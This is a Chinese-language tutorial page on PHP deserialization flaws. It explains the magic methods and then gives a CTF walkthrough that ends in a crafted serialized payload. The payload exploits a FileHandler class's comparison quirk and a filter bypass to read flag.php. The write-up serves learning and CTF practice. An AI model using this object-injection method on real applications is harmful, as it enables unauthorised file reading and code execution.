欢迎您访问365答案网,请分享给你的朋友!
生活常识 学习资料

WEB漏洞-反序列化之PHP&JAVA全解(上)

时间:2023-08-03

PHP 反序列化原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。serialize() //将一个对象转换成一个字符串unserialize() //将字符串还原成一个对象触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:参考:https://www.cnblogs.com/20175211lyz/p/11403397.html__construct()//创建对象时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用 isset()或 empty()触发__unset() //在不可访问的属性上使用 unset()时触发__invoke() //当脚本尝试将对象调用为函数时触发__wakeup() //当在反序列化时,php就会调用__wakeup方法(如果存在的话)

php序列化
s:3:“aaa”; 为序列化结果(s代表类型,3代表字符串个数。如果是int型,就是i,并且不显示个数例如i:123; )
php反序列化
aaa 为反序列化结果

无类序列化小例子:

此处通过GET方式接收值存入变量str,再通过if进行判断,如果变量str的值反序列化的结果等于变量key中的值时,就输入falg

<?php include "flag.php";$key="key";$str=$_GET['str'];if(unserialize($str)==="$key"){echo "$flag";} ?>

访问当前页面并在url处通过GET方式提交参数,使提交的值进行反序列化后等于变量key中的值
有类时,当序列化或反序列化,进行的操作会触发对应的魔术方法(如果魔术方法存在的话)

<?phpclass ABC{ public $test; function __construct(){ $test = 1; echo '调用了构造函数
'; } function __destruct(){ echo '调用了析构函数
'; } function __wakeup(){ echo '调用了苏醒函数
'; }}echo '创建对象a
';$a = new ABC;echo '序列化
';$a_ser=serialize($a);echo '反序列化
';$a_unser=unserialize($a_ser);echo '对象快要死了!';?>运行结果:创建对象a调用了构造函数序列化反序列化调用了苏醒函数对象快要死了!调用了析构函数调用了析构函数

CTF真题

https://ctf.bugku.com/challenges#flag.php

$this是一个“伪对象”,代表当前所属类的当前对象。(就相当于对当前所属的类进行了一个new操作给$this $this=new FileHandler)

1、public:public表明该数据成员、成员函数是对所有用户开放的,所有用户都可以直接进行调用
2、private:private表示私有,私有的意思就是除了class自己之外,任何人都不可以直接使用。
3、protected:protected对于子女、朋友来说,就是public的,可以自由使用,没有任何限制,而对于其他的外部class,protected就变成private。

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") {//如果op的值等于1就执行write()方法 $this->write(); } else if($this->op == "2") {//如果op的值等于2就执行read()方法 $res = $this->read(); $this->output($res);//把$res输出 } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename);//file_get_contents — 将整个文件读入一个字符串 } return $res; } private function output($s) { echo "[Result]:
"; echo $s; } function __destruct() { if($this->op === "2")//如果op全等于2的话,就把op赋值为1。 $this->op = "1"; $this->content = "";//把content赋值为空字符串 $this->process();//使用process方法 }}function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) {//通过is_valid函数对GET传过来的值进行检测 $obj = unserialize($str);//把GET传过来的值进行反序列化,因为unserialize,所以会自动触发__destruct()魔术方法 }}

解析:(累死了)

1.当通过GET传入参数时,会用unserialize把传入的值进行反序列化,并执行__destruct()魔术方法。

2.如果op的值全等于(===)2就把op赋值为1,然后执行process()方法,判断op的值如果等于(==)1就进行write()方法中,如果op的值等于(==)2就进行read()的方法中。

3.因为此处要读取flag.php文件,所以自然是进入read()方法。又因为前面是通过===进行比较,后门是通过==进行比较,所以要让反序列化后op的结果即不(===)2又(==)2,所以op反序列化后的值可以是(int类型的2)或者(" 2" 中间有空格)‘

4.进入read()方法后,通过file_get_contents对filename的内容进行读入。因为我们的目标是对flag.php中的内容进行读取,所以必须让反序列化后filename的值等于flag.php(也就是用file_get_contents对flag.php进行读取)。

5.content的值是任意的,因为不管反序列化后content的值是什么,在__destruct时,都会把content赋值为空。

综上所述:

op反序列化后的值必须为int类型的2或者" 2"。
filename反序列化后的值必须为flag.php。
contents反序列化后的值任意。

所以要构建相对应的序列化代码得到序列化结果

<?phpclass FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = 2; $filename = "flag.php"; $content = "Hello World!"; }}function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}$a=new FileHandler();$b=serialize($a);echo $b."n";var_dump(is_valid($b));?>

结果:

O:11:"FileHandler":3:{s:5:" * op";N;s:11:" * filename";N;s:10:" * content";N;}

我们需要自己给其中添加值,并且因为三个属性是protected类型,所以会生成chr(0)*chr(0)

O:11:"FileHandler":3:{s:5:"%00*%00op";i:2;s:11:"%00*%00filename";s:8:"flag.php";s:10:"%00*%00content";N;}

但是is_valid()会对生产的payload进行检验,不能出现ascii小于32的字符。所以%00是通不过的。

这里利用的是php7.1+的版本对属性的类型不敏感,所以本地序列化时直接将属性类型改为public即可绕过。

结果:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

把序列化结果复制,通过GET方式给变量$str赋值后得到结果flag

Copyright © 2016-2020 www.365daan.com All Rights Reserved. 365答案网 版权所有 备案号:

部分内容来自互联网,版权归原作者所有,如有冒犯请联系我们,我们将在三个工作时内妥善处理。